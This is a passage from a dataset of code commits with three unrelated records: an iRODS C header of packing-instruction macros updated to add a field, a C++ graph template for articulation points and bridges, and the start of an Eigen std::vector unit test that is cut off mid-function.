bytesWritten;\"\n#define TransferStat_PI \"int numThreads; int flags; double bytesWritten;\"\n\n#define AuthInfo_PI \"str authScheme[NAME_LEN]; int authFlag; int flag; int ppid; str host[NAME_LEN]; str authStr[NAME_LEN];\"\n#define UserOtherInfo_PI \"str userInfo[NAME_LEN]; str userComments[NAME_LEN]; str userCreate[TIME_LEN]; str userModify[TIME_LEN];\"\n\n#define UserInfo_PI \"str userName[NAME_LEN]; str rodsZone[NAME_LEN]; str userType[NAME_LEN]; int sysUid; struct AuthInfo_PI; struct UserOtherInfo_PI;\"\n#define CollInfo_PI \"double collId; str collName[MAX_NAME_LEN]; str collParentName[MAX_NAME_LEN]; str collOwnerName[NAME_LEN]; str collOwnerZone[NAME_LEN]; int collMapId; int collAccessInx; str collComments[LONG_NAME_LEN]; str collInheritance[LONG_NAME_LEN]; str collExpiry[TIME_LEN]; str collCreate[TIME_LEN]; str collModify[TIME_LEN]; str collAccess[NAME_LEN]; str collType[NAME_LEN]; str collInfo1[MAX_NAME_LEN]; str collInfo2[MAX_NAME_LEN]; struct KeyValPair_PI; int *next;\"\n\n#define Rei_PI \"int status; str statusStr[MAX_NAME_LEN]; str ruleName[NAME_LEN]; int *rsComm; str pluginInstanceName[MAX_NAME_LEN]; struct *MsParamArray_PI; struct MsParamArray_PI; int l1descInx; struct *DataObjInp_PI; struct *DataObjInfo_PI; struct *UserInfo_PI; struct *UserInfo_PI; struct *CollInfo_PI; struct *UserInfo_PI; struct *KeyValPair_PI; str ruleSet[RULE_SET_DEF_LENGTH]; int *next;\"\n\n#define ReArg_PI \"int myArgc; str *myArgv[myArgc];\"\n#define ReiAndArg_PI \"struct *Rei_PI; struct ReArg_PI;\"\n\n#define BytesBuf_PI \"int buflen; char *buf(buflen);\"\n\n\/* PI for dataArray_t *\/\n#define charDataArray_PI \"int type; int len; char *buf(len);\"\n#define strDataArray_PI \"int type; int len; str *buf[len];\"\n#define intDataArray_PI \"int type; int len; int *buf(len);\"\n#define int16DataArray_PI \"int type; int len; int16 *buf(len);\"\n#define int64DataArray_PI \"int type; int len; double *buf(len);\"\n\n#define BinBytesBuf_PI \"int buflen; bin *buf(buflen);\"\n\n#define MsParam_PI \"str *label; piStr *type; ?type *inOutStruct; struct *BinBytesBuf_PI;\"\n\n#define MsParamArray_PI \"int paramLen; int oprType; struct *MsParam_PI[paramLen];\"\n\n#define TagStruct_PI \"int ssLen; str *preTag[ssLen]; str *postTag[ssLen]; str *keyWord[ssLen];\"\n\n\n\n\n#define RodsObjStat_PI \"double objSize; int objType; int dataMode; str dataId[NAME_LEN]; str chksum[NAME_LEN]; str ownerName[NAME_LEN]; str ownerZone[NAME_LEN]; str createTime[TIME_LEN]; str modifyTime[TIME_LEN]; struct *SpecColl_PI;\"\n\n\n\n\n\n#define ReconnMsg_PI \"int status; int cookie; int procState; int flag;\"\n#define VaultPathPolicy_PI \"int scheme; int addUserName; int trimDirCnt;\"\n#define StrArray_PI \"int len; int size; str *value(len)(size);\"\n#define IntArray_PI \"int len; int *value(len);\"\n\n\n#define SpecColl_PI \"int collClass; int type; str collection[MAX_NAME_LEN]; str objPath[MAX_NAME_LEN]; str resource[NAME_LEN]; str rescHier[MAX_NAME_LEN]; str phyPath[MAX_NAME_LEN]; str cacheDir[MAX_NAME_LEN]; int cacheDirty; int replNum;\"\n\n\n#define SubFile_PI \"struct RHostAddr_PI; str subFilePath[MAX_NAME_LEN]; int mode; int flags; double offset; struct *SpecColl_PI;\"\n#define XmsgTicketInfo_PI \"int sendTicket; int rcvTicket; int expireTime; int flag;\"\n#define SendXmsgInfo_PI \"int msgNumber; str msgType[HEADER_TYPE_LEN]; int numRcv; int flag; str *msg; int numDel; str *delAddress[numDel]; int *delPort(numDel); str *miscInfo;\"\n#define GetXmsgTicketInp_PI \"int expireTime; int flag;\"\n#define SendXmsgInp_PI \"struct XmsgTicketInfo_PI; str sendAddr[NAME_LEN]; struct SendXmsgInfo_PI;\"\n#define RcvXmsgInp_PI \"int rcvTicket; int msgNumber; int seqNumber; str msgCondition[MAX_NAME_LEN];\"\n#define RcvXmsgOut_PI \"str msgType[HEADER_TYPE_LEN]; str sendUserName[NAME_LEN]; str sendAddr[NAME_LEN]; int msgNumber; int seqNumber; str *msg;\"\n\/* XXXXX start of HDF5 PI *\/\n#define h5error_PI \"str major[MAX_ERROR_SIZE]; str minor[MAX_ERROR_SIZE];\"\n#define h5File_PI \"int fopID; str *filename; int ffid; struct *h5Group_PI; struct h5error_PI;int ftime;\"\n#define h5Group_PI \"int gopID; int gfid; int gobjID[OBJID_DIM]; str *gfullpath; int $dummyParent; int nGroupMembers; struct *h5Group_PI(nGroupMembers); int nDatasetMembers; struct *h5Dataset_PI(nDatasetMembers); int nattributes; struct *h5Attribute_PI(nattributes); struct h5error_PI;int gtime;\"\n\/* XXXXX need to fix the type dependence *\/\n#define h5Dataset_PI \"int dopID; int dfid; int dobjID[OBJID_DIM]; int dclass; int nattributes; str *dfullpath; struct *h5Attribute_PI(nattributes); struct h5Datatype_PI; struct h5Dataspace_PI; int nvalue; int dtime; % dclass:3,6,9 = str *value[nvalue]:default= char *value(nvalue); struct h5error_PI;\"\n\/* XXXXX need to fix the type dependence *\/\n#define h5Attribute_PI \"int aopID; int afid; str *aname; str *aobj_path; int aobj_type; int aclass; struct h5Datatype_PI; struct h5Dataspace_PI; int nvalue; % aclass:3,6,9 = str *value[nvalue]:default= char *value(nvalue); struct h5error_PI;\"\n#define h5Datatype_PI \"int tclass; int torder; int tsign; int tsize; int ntmenbers; int *mtypes(ntmenbers); str *mnames[ntmenbers];\"\n#define h5Dataspace_PI \"int rank; int dims[H5S_MAX_RANK]; int npoints; int start[H5DATASPACE_MAX_RANK]; int stride[H5DATASPACE_MAX_RANK]; int count[H5DATASPACE_MAX_RANK];\"\n\/* content of collEnt_t cannot be freed since they are pointers in \"value\"\n * of sqlResult *\/\n#define CollEnt_PI \"int objType; int replNum; int replStatus; int dataMode; double dataSize; str $collName; str $dataName; str $dataId; str $createTime; str $modifyTime; str $chksum; str $resource; str $phyPath; str $ownerName; str $dataType; struct SpecColl_PI;\"\n#define CollOprStat_PI \"int filesCnt; int totalFileCnt; double bytesWritten; str lastObjPath[MAX_NAME_LEN];\"\n\/* XXXXX end of HDF5 PI *\/\n#define RuleStruct_PI \"int maxNumOfRules; str *ruleBase[maxNumOfRules]; str *action[maxNumOfRules]; str *ruleHead[maxNumOfRules]; str *ruleCondition[maxNumOfRules]; str *ruleAction[maxNumOfRules]; str *ruleRecovery[maxNumOfRules]; double ruleId[maxNumOfRules];\"\n#define DVMapStruct_PI \"int maxNumOfDVars; str *varName[maxNumOfDVars]; str *action[maxNumOfDVars]; str *var2CMap[maxNumOfDVars]; double varId[maxNumOfDVars];\"\n#define FNMapStruct_PI \"int maxNumOfFMaps; str *funcName[maxNumOfFMaps]; str *func2CMap[maxNumOfFMaps]; double fmapId[maxNumOfFMaps];\"\n#define MsrvcStruct_PI \"int maxNumOfMsrvcs; double msrvcId[maxNumOfMsrvcs]; str moduleName[maxNumOfMsrvcs]; str msrvcName[maxNumOfMsrvcs]; str msrvcSiganture[maxNumOfMsrvcs]; str msrvcVersion[maxNumOfMsrvcs]; str msrvcHost[maxNumOfMsrvcs]; str msrvcLocation[maxNumOfMsrvcs]; str msrvcLanguage[maxNumOfMsrvcs]; str msrvcTypeName[maxNumOfMsrvcs]; double msrvcStatus[maxNumOfMsrvcs];\"\n#define DataSeg_PI \"double len; double offset;\"\n#define FileRestartInfo_PI \"str fileName[MAX_NAME_LEN]; str objPath[MAX_NAME_LEN]; int numSeg; int flags; double fileSize; struct DataSeg_PI[numSeg];\"\n#endif\t\/* PACK_INSTRUCT_H *\/\n<commit_msg>[#1472] Packing instruction for rei didn't match struct definition anymore<commit_after>\/*** Copyright (c), The Regents of the University of California ***\n *** For more information please refer to files in the COPYRIGHT directory ***\/\n\n\/* packInstruct.h - header file for pack instruction definition\n *\/\n\n\n\n#ifndef PACK_INSTRUCT_HPP\n#define PACK_INSTRUCT_HPP\n\n#define IRODS_STR_PI \"str myStr[MAX_NAME_LEN];\"\n#define STR_PI \"str myStr;\"\n#define CHAR_PI \"char myChar;\"\n#define STR_PTR_PI \"str *myStr;\"\n#define PI_STR_PI \"piStr myStr[MAX_NAME_LEN];\"\n#define INT_PI \"int myInt;\"\n#define INT16_PI \"int16 myInt;\"\n#define BUF_LEN_PI \"int myInt;\"\n#define DOUBLE_PI \"double myDouble;\"\n\n\/* packInstruct for msgHeader_t *\/\n#define MsgHeader_PI \"str type[HEADER_TYPE_LEN]; int msgLen; int errorLen; int bsLen; int intInfo;\"\n\n\/* packInstruct for startupPack_t *\/\n#define StartupPack_PI \"int irodsProt; int reconnFlag; int connectCnt; str proxyUser[NAME_LEN]; str proxyRcatZone[NAME_LEN]; str clientUser[NAME_LEN]; str clientRcatZone[NAME_LEN]; str relVersion[NAME_LEN]; str apiVersion[NAME_LEN]; str option[NAME_LEN];\"\n\n\/* packInstruct for version_t *\/\n\n#define Version_PI \"int status; str relVersion[NAME_LEN]; str apiVersion[NAME_LEN]; int reconnPort; str reconnAddr[LONG_NAME_LEN]; int cookie;\"\n\n\/* packInstruct for rErrMsg_t *\/\n\n#define RErrMsg_PI \"int status; str msg[ERR_MSG_LEN];\"\n\n\/* packInstruct for rError_t *\/\n\n#define RError_PI \"int count; struct *RErrMsg_PI[count];\"\n\n#define RHostAddr_PI \"str hostAddr[LONG_NAME_LEN]; str rodsZone[NAME_LEN]; int port; int dummyInt;\"\n\n#define RODS_STAT_T_PI \"double st_size; int st_dev; int st_ino; int st_mode; int st_nlink; int st_uid; int st_gid; int st_rdev; int st_atim; int st_mtim; int st_ctim; int st_blksize; int st_blocks;\"\n\n#define RODS_DIRENT_T_PI \"int d_offset; int d_ino; int d_reclen; int d_namlen; str d_name[DIR_LEN];\"\n\n#define KeyValPair_PI \"int ssLen; str *keyWord[ssLen]; str *svalue[ssLen];\"\n\n\/\/ =-=-=-=-=-=-=-\n\/\/ pack struct for client server negotiations\n#define CS_NEG_PI \"int status; str result[MAX_NAME_LEN];\"\n\n#define InxIvalPair_PI \"int iiLen; int *inx(iiLen); int *ivalue(iiLen);\"\n\n#define InxValPair_PI \"int isLen; int *inx(isLen); str *svalue[isLen];\"\n\n#define DataObjInp_PI \"str objPath[MAX_NAME_LEN]; int createMode; int openFlags; double offset; double dataSize; int numThreads; int oprType; struct *SpecColl_PI; struct KeyValPair_PI;\"\n\n#define OpenedDataObjInp_PI \"int l1descInx; int len; int whence; int oprType; double offset; double bytesWritten; struct KeyValPair_PI;\"\n\n#define PortList_PI \"int portNum; int cookie; int sock; int windowSize; str hostAddr[LONG_NAME_LEN];\"\n\n#define PortalOprOut_PI \"int status; int l1descInx; int numThreads; str chksum[NAME_LEN]; struct PortList_PI;\"\n\n#define DataOprInp_PI \"int oprType; int numThreads; int srcL3descInx; int destL3descInx; int srcRescTypeInx; int destRescTypeInx; double offset; double dataSize; struct KeyValPair_PI;\"\n\n#define CollInpNew_PI \"str collName[MAX_NAME_LEN]; int flags; int oprType; struct KeyValPair_PI;\"\n\n#define GenQueryInp_PI \"int maxRows; int continueInx; int partialStartIndex; int options; struct KeyValPair_PI; struct InxIvalPair_PI; struct InxValPair_PI;\"\n#define SqlResult_PI \"int attriInx; int reslen; str *value(rowCnt)(reslen);\"\n\n#define GenQueryOut_PI \"int rowCnt; int attriCnt; int continueInx; int totalRowCount; struct SqlResult_PI[MAX_SQL_ATTR];\"\n#define GenArraysInp_PI \"int rowCnt; int attriCnt; int continueInx; int totalRowCount; struct KeyValPair_PI; struct SqlResult_PI[MAX_SQL_ATTR];\"\n#define DataObjInfo_PI \"str objPath[MAX_NAME_LEN]; str rescName[NAME_LEN]; str rescHier[MAX_NAME_LEN]; str dataType[NAME_LEN]; double dataSize; str chksum[NAME_LEN]; str version[NAME_LEN]; str filePath[MAX_NAME_LEN]; str dataOwnerName[NAME_LEN]; str dataOwnerZone[NAME_LEN]; int replNum; int replStatus; str statusString[NAME_LEN]; double dataId; double collId; int dataMapId; int flags; str dataComments[LONG_NAME_LEN]; str dataMode[SHORT_STR_LEN]; str dataExpiry[TIME_LEN]; str dataCreate[TIME_LEN]; str dataModify[TIME_LEN]; str dataAccess[NAME_LEN]; int dataAccessInx; int writeFlag; str destRescName[NAME_LEN]; str backupRescName[NAME_LEN]; str subPath[MAX_NAME_LEN]; int *specColl; int regUid; int otherFlags; struct KeyValPair_PI; str in_pdmo[MAX_NAME_LEN]; int *next;\"\n\n\/* transStat_t is being replaced by transferStat_t because of the 64 bits\n * padding *\/\n#define TransStat_PI \"int numThreads; double bytesWritten;\"\n#define TransferStat_PI \"int numThreads; int flags; double bytesWritten;\"\n\n#define AuthInfo_PI \"str authScheme[NAME_LEN]; int authFlag; int flag; int ppid; str host[NAME_LEN]; str authStr[NAME_LEN];\"\n#define UserOtherInfo_PI \"str userInfo[NAME_LEN]; str userComments[NAME_LEN]; str userCreate[TIME_LEN]; str userModify[TIME_LEN];\"\n\n#define UserInfo_PI \"str userName[NAME_LEN]; str rodsZone[NAME_LEN]; str userType[NAME_LEN]; int sysUid; struct AuthInfo_PI; struct UserOtherInfo_PI;\"\n#define CollInfo_PI \"double collId; str collName[MAX_NAME_LEN]; str collParentName[MAX_NAME_LEN]; str collOwnerName[NAME_LEN]; str collOwnerZone[NAME_LEN]; int collMapId; int collAccessInx; str collComments[LONG_NAME_LEN]; str collInheritance[LONG_NAME_LEN]; str collExpiry[TIME_LEN]; str collCreate[TIME_LEN]; str collModify[TIME_LEN]; str collAccess[NAME_LEN]; str collType[NAME_LEN]; str collInfo1[MAX_NAME_LEN]; str collInfo2[MAX_NAME_LEN]; struct KeyValPair_PI; int *next;\"\n\n#define Rei_PI \"int status; str statusStr[MAX_NAME_LEN]; str ruleName[NAME_LEN]; int *rsComm; str pluginInstanceName[MAX_NAME_LEN]; struct *MsParamArray_PI; struct MsParamArray_PI; int l1descInx; struct *DataObjInp_PI; struct *DataObjInfo_PI; str rescName[NAME_LEN]; struct *UserInfo_PI; struct *UserInfo_PI; struct *CollInfo_PI; struct *UserInfo_PI; struct *KeyValPair_PI; str ruleSet[RULE_SET_DEF_LENGTH]; int *next;\"\n\n#define ReArg_PI \"int myArgc; str *myArgv[myArgc];\"\n#define ReiAndArg_PI \"struct *Rei_PI; struct ReArg_PI;\"\n\n#define BytesBuf_PI \"int buflen; char *buf(buflen);\"\n\n\/* PI for dataArray_t *\/\n#define charDataArray_PI \"int type; int len; char *buf(len);\"\n#define strDataArray_PI \"int type; int len; str *buf[len];\"\n#define intDataArray_PI \"int type; int len; int *buf(len);\"\n#define int16DataArray_PI \"int type; int len; int16 *buf(len);\"\n#define int64DataArray_PI \"int type; int len; double *buf(len);\"\n\n#define BinBytesBuf_PI \"int buflen; bin *buf(buflen);\"\n\n#define MsParam_PI \"str *label; piStr *type; ?type *inOutStruct; struct *BinBytesBuf_PI;\"\n\n#define MsParamArray_PI \"int paramLen; int oprType; struct *MsParam_PI[paramLen];\"\n\n#define TagStruct_PI \"int ssLen; str *preTag[ssLen]; str *postTag[ssLen]; str *keyWord[ssLen];\"\n\n\n\n\n#define RodsObjStat_PI \"double objSize; int objType; int dataMode; str dataId[NAME_LEN]; str chksum[NAME_LEN]; str ownerName[NAME_LEN]; str ownerZone[NAME_LEN]; str createTime[TIME_LEN]; str modifyTime[TIME_LEN]; struct *SpecColl_PI;\"\n\n\n\n\n\n#define ReconnMsg_PI \"int status; int cookie; int procState; int flag;\"\n#define VaultPathPolicy_PI \"int scheme; int addUserName; int trimDirCnt;\"\n#define StrArray_PI \"int len; int size; str *value(len)(size);\"\n#define IntArray_PI \"int len; int *value(len);\"\n\n\n#define SpecColl_PI \"int collClass; int type; str collection[MAX_NAME_LEN]; str objPath[MAX_NAME_LEN]; str resource[NAME_LEN]; str rescHier[MAX_NAME_LEN]; str phyPath[MAX_NAME_LEN]; str cacheDir[MAX_NAME_LEN]; int cacheDirty; int replNum;\"\n\n\n#define SubFile_PI \"struct RHostAddr_PI; str subFilePath[MAX_NAME_LEN]; int mode; int flags; double offset; struct *SpecColl_PI;\"\n#define XmsgTicketInfo_PI \"int sendTicket; int rcvTicket; int expireTime; int flag;\"\n#define SendXmsgInfo_PI \"int msgNumber; str msgType[HEADER_TYPE_LEN]; int numRcv; int flag; str *msg; int numDel; str *delAddress[numDel]; int *delPort(numDel); str *miscInfo;\"\n#define GetXmsgTicketInp_PI \"int expireTime; int flag;\"\n#define SendXmsgInp_PI \"struct XmsgTicketInfo_PI; str sendAddr[NAME_LEN]; struct SendXmsgInfo_PI;\"\n#define RcvXmsgInp_PI \"int rcvTicket; int msgNumber; int seqNumber; str msgCondition[MAX_NAME_LEN];\"\n#define RcvXmsgOut_PI \"str msgType[HEADER_TYPE_LEN]; str sendUserName[NAME_LEN]; str sendAddr[NAME_LEN]; int msgNumber; int seqNumber; str *msg;\"\n\/* XXXXX start of HDF5 PI *\/\n#define h5error_PI \"str major[MAX_ERROR_SIZE]; str minor[MAX_ERROR_SIZE];\"\n#define h5File_PI \"int fopID; str *filename; int ffid; struct *h5Group_PI; struct h5error_PI;int ftime;\"\n#define h5Group_PI \"int gopID; int gfid; int gobjID[OBJID_DIM]; str *gfullpath; int $dummyParent; int nGroupMembers; struct *h5Group_PI(nGroupMembers); int nDatasetMembers; struct *h5Dataset_PI(nDatasetMembers); int nattributes; struct *h5Attribute_PI(nattributes); struct h5error_PI;int gtime;\"\n\/* XXXXX need to fix the type dependence *\/\n#define h5Dataset_PI \"int dopID; int dfid; int dobjID[OBJID_DIM]; int dclass; int nattributes; str *dfullpath; struct *h5Attribute_PI(nattributes); struct h5Datatype_PI; struct h5Dataspace_PI; int nvalue; int dtime; % dclass:3,6,9 = str *value[nvalue]:default= char *value(nvalue); struct h5error_PI;\"\n\/* XXXXX need to fix the type dependence *\/\n#define h5Attribute_PI \"int aopID; int afid; str *aname; str *aobj_path; int aobj_type; int aclass; struct h5Datatype_PI; struct h5Dataspace_PI; int nvalue; % aclass:3,6,9 = str *value[nvalue]:default= char *value(nvalue); struct h5error_PI;\"\n#define h5Datatype_PI \"int tclass; int torder; int tsign; int tsize; int ntmenbers; int *mtypes(ntmenbers); str *mnames[ntmenbers];\"\n#define h5Dataspace_PI \"int rank; int dims[H5S_MAX_RANK]; int npoints; int start[H5DATASPACE_MAX_RANK]; int stride[H5DATASPACE_MAX_RANK]; int count[H5DATASPACE_MAX_RANK];\"\n\/* content of collEnt_t cannot be freed since they are pointers in \"value\"\n * of sqlResult *\/\n#define CollEnt_PI \"int objType; int replNum; int replStatus; int dataMode; double dataSize; str $collName; str $dataName; str $dataId; str $createTime; str $modifyTime; str $chksum; str $resource; str $phyPath; str $ownerName; str $dataType; struct SpecColl_PI;\"\n#define CollOprStat_PI \"int filesCnt; int totalFileCnt; double bytesWritten; str lastObjPath[MAX_NAME_LEN];\"\n\/* XXXXX end of HDF5 PI *\/\n#define RuleStruct_PI \"int maxNumOfRules; str *ruleBase[maxNumOfRules]; str *action[maxNumOfRules]; str *ruleHead[maxNumOfRules]; str *ruleCondition[maxNumOfRules]; str *ruleAction[maxNumOfRules]; str *ruleRecovery[maxNumOfRules]; double ruleId[maxNumOfRules];\"\n#define DVMapStruct_PI \"int maxNumOfDVars; str *varName[maxNumOfDVars]; str *action[maxNumOfDVars]; str *var2CMap[maxNumOfDVars]; double varId[maxNumOfDVars];\"\n#define FNMapStruct_PI \"int maxNumOfFMaps; str *funcName[maxNumOfFMaps]; str *func2CMap[maxNumOfFMaps]; double fmapId[maxNumOfFMaps];\"\n#define MsrvcStruct_PI \"int maxNumOfMsrvcs; double msrvcId[maxNumOfMsrvcs]; str moduleName[maxNumOfMsrvcs]; str msrvcName[maxNumOfMsrvcs]; str msrvcSiganture[maxNumOfMsrvcs]; str msrvcVersion[maxNumOfMsrvcs]; str msrvcHost[maxNumOfMsrvcs]; str msrvcLocation[maxNumOfMsrvcs]; str msrvcLanguage[maxNumOfMsrvcs]; str msrvcTypeName[maxNumOfMsrvcs]; double msrvcStatus[maxNumOfMsrvcs];\"\n#define DataSeg_PI \"double len; double offset;\"\n#define FileRestartInfo_PI \"str fileName[MAX_NAME_LEN]; str objPath[MAX_NAME_LEN]; int numSeg; int flags; double fileSize; struct DataSeg_PI[numSeg];\"\n#endif\t\/* PACK_INSTRUCT_H *\/\n<|endoftext|>"} {"text":"<commit_before>#include <bits\/stdc++.h>\n\nusing namespace std;\n#define DEBUG_ON 1\n\n#define INF 0x3f3f3f3f\n#define NSYNC ios::sync_with_stdio(false);\n#define FOR(i,a,b) for(int i=a; i<(b); ++i)\n#define FOR0(i,b) for(int i=0; i<(b); ++i)\n#define TRAV(it,c) for(__typeof((c).begin()) it=(c).begin(); it!=(c).end(); ++it)\n#define RTRAV(it,c) for(__typeof((c).rbegin()) it=(c).rbegin(); it!=(c).rend(); ++it)\n#define DBG(x) if(DEBUG_ON) cout << #x << \" == \" << x << endl\n#define DBGP(x) if(DEBUG_ON) cout << \"(\" << (x).first << \", \" << (x).second << \")\" << endl\n#define pb(x) push_back(x)\n#define mp(x,y) make_pair(x,y)\n#define R(x) scanf(\" %d\",&(x))\n#define RR(x,y) scanf(\" %d %d\",&(x), &(y))\n#define RRR(x,y,z) scanf(\" %d %d %d\",&(x), &(y),&(z))\n#define CLR(v) memset(v, 0, sizeof(v))\n#define SET(v) memset(v, -1, sizeof(v))\n\ntypedef long long ll;\ntypedef int int_type;\ntypedef pair<int_type, int_type> pii;\ntypedef vector<int_type> vi;\n\nconst int MAXN = 100010;\nvi adj[MAXN];\nint d[MAXN], low[MAXN], visi[MAXN], t;\nbool art[MAXN];\nset<pii> bs;\n\nvoid dfs(int u, int p=-1) {\n\tvisi[u] = true;\n\td[u] = low[u] = t++;\n\tbool found = false;\n\tint ct=0;\n\tfor(auto v : adj[u]) {\n\t\tif(!visi[v]) {\n\t\t\t++ct;\n\t\t\tdfs(v,u);\n\t\t\tlow[u] = min(low[u],low[v]);\n\t\t\tif(low[v]>=d[u]) found = true;\n\t\t\tif(low[v]>d[u]) bs.insert(mp(min(u,v),max(u,v)));\n\t\t}\n\t\telse if(v!=p) {\n\t\t\tlow[u] = min(low[u], d[v]);\n\t\t}\n\t}\n\tart[u] = (u ? found : ct>1);\n}\n\n\nint main() {\n\tNSYNC;\n\treturn 0;\n}\n<commit_msg>migue<commit_after>#include <bits\/stdc++.h>\n\nusing namespace std;\n#define DEBUG_ON 1\n\n#define INF 0x3f3f3f3f\n#define NSYNC ios::sync_with_stdio(false);\n#define FOR(i,a,b) for(int i=a; i<(b); ++i)\n#define FOR0(i,b) for(int i=0; i<(b); ++i)\n#define TRAV(it,c) for(__typeof((c).begin()) it=(c).begin(); it!=(c).end(); ++it)\n#define RTRAV(it,c) for(__typeof((c).rbegin()) it=(c).rbegin(); it!=(c).rend(); ++it)\n#define DBG(x) if(DEBUG_ON) cout << #x << \" == \" << x << endl\n#define DBGP(x) if(DEBUG_ON) cout << \"(\" << (x).first << \", \" << (x).second << \")\" << endl\n#define pb(x) push_back(x)\n#define mp(x,y) make_pair(x,y)\n#define R(x) scanf(\" %d\",&(x))\n#define RR(x,y) scanf(\" %d %d\",&(x), &(y))\n#define RRR(x,y,z) scanf(\" %d %d %d\",&(x), &(y),&(z))\n#define CLR(v) memset(v, 0, sizeof(v))\n#define SET(v) memset(v, -1, sizeof(v))\n\ntypedef long long ll;\ntypedef int int_type;\ntypedef pair<int_type, int_type> pii;\ntypedef vector<int_type> vi;\n\nconst int MAXN = 100010;\nvi adj[MAXN];\nint d[MAXN], low[MAXN], visi[MAXN], t;\nbool art[MAXN];\nset<pii> bs;\n\nvoid dfs(int u, int p=-1) {\n\tvisi[u] = true;\n\td[u] = low[u] = t++;\n\tbool found = false;\n\tint ct=0;\n\tfor(auto v : adj[u]) {\n\t\tif(!visi[v]) {\n\t\t\t++ct;\n\t\t\tdfs(v,u);\n\t\t\tlow[u] = min(low[u],low[v]);\n\t\t\tif(low[v]>=d[u]) found = true;\n\t\t\tif(low[v]>d[u]) bs.insert(mp(min(u,v),max(u,v)));\n\t\t}\n\t\telse if(v!=p) {\n\t\t\tlow[u] = min(low[u], d[v]);\n\t\t}\n\t}\n\tart[u] = (u ? found : ct>1);\n}\n\n\/\/call with FOR0(i,n) if (!visi[i]) dfs(i);\n\nint main() {\n\tNSYNC;\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <Eigen\/StdVector>\n#include <Eigen\/Geometry>\n\ntemplate<typename MatrixType>\nvoid check_stdvector_matrix(const MatrixType& m)\n{\n int rows = m.rows();\n int cols = m.cols();\n MatrixType x = MatrixType::Random(rows,cols), y = MatrixType::Random(rows,cols);\n std::vector<MatrixType,Eigen::aligned_allocator<MatrixType> > v(10, MatrixType(rows,cols)), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(MatrixType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n MatrixType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i]==w[(i-23)%w.size()]);\n }\n}\n\ntemplate<typename TransformType>\nvoid check_stdvector_transform(const TransformType&)\n{\n typedef typename TransformType::MatrixType MatrixType;\n TransformType x(MatrixType::Random()), y(MatrixType::Random());\n std::vector<TransformType,Eigen::aligned_allocator<TransformType> > v(10), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(TransformType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n TransformType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i].matrix()==w[(i-23)%w.size()].matrix());\n }\n}\n\ntemplate<typename QuaternionType>\nvoid check_stdvector_quaternion(const QuaternionType&)\n{\n typedef typename QuaternionType::Coefficients Coefficients;\n QuaternionType x(Coefficients::Random()), y(Coefficients::Random());\n std::vector<QuaternionType,Eigen::aligned_allocator<QuaternionType> > v(10), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(QuaternionType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n QuaternionType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i].coeffs()==w[(i-23)%w.size()].coeffs());\n }\n}\n\nvoid test_stdvector()\n{\n \/\/ some non vectorizable fixed sizes\n CALL_SUBTEST(check_stdvector_matrix(Vector2f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix3f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix3d()));\n\n \/\/ some vectorizable fixed sizes\n CALL_SUBTEST(check_stdvector_matrix(Matrix2f()));\n CALL_SUBTEST(check_stdvector_matrix(Vector4f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix4f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix4d()));\n\n \/\/ some dynamic sizes\n 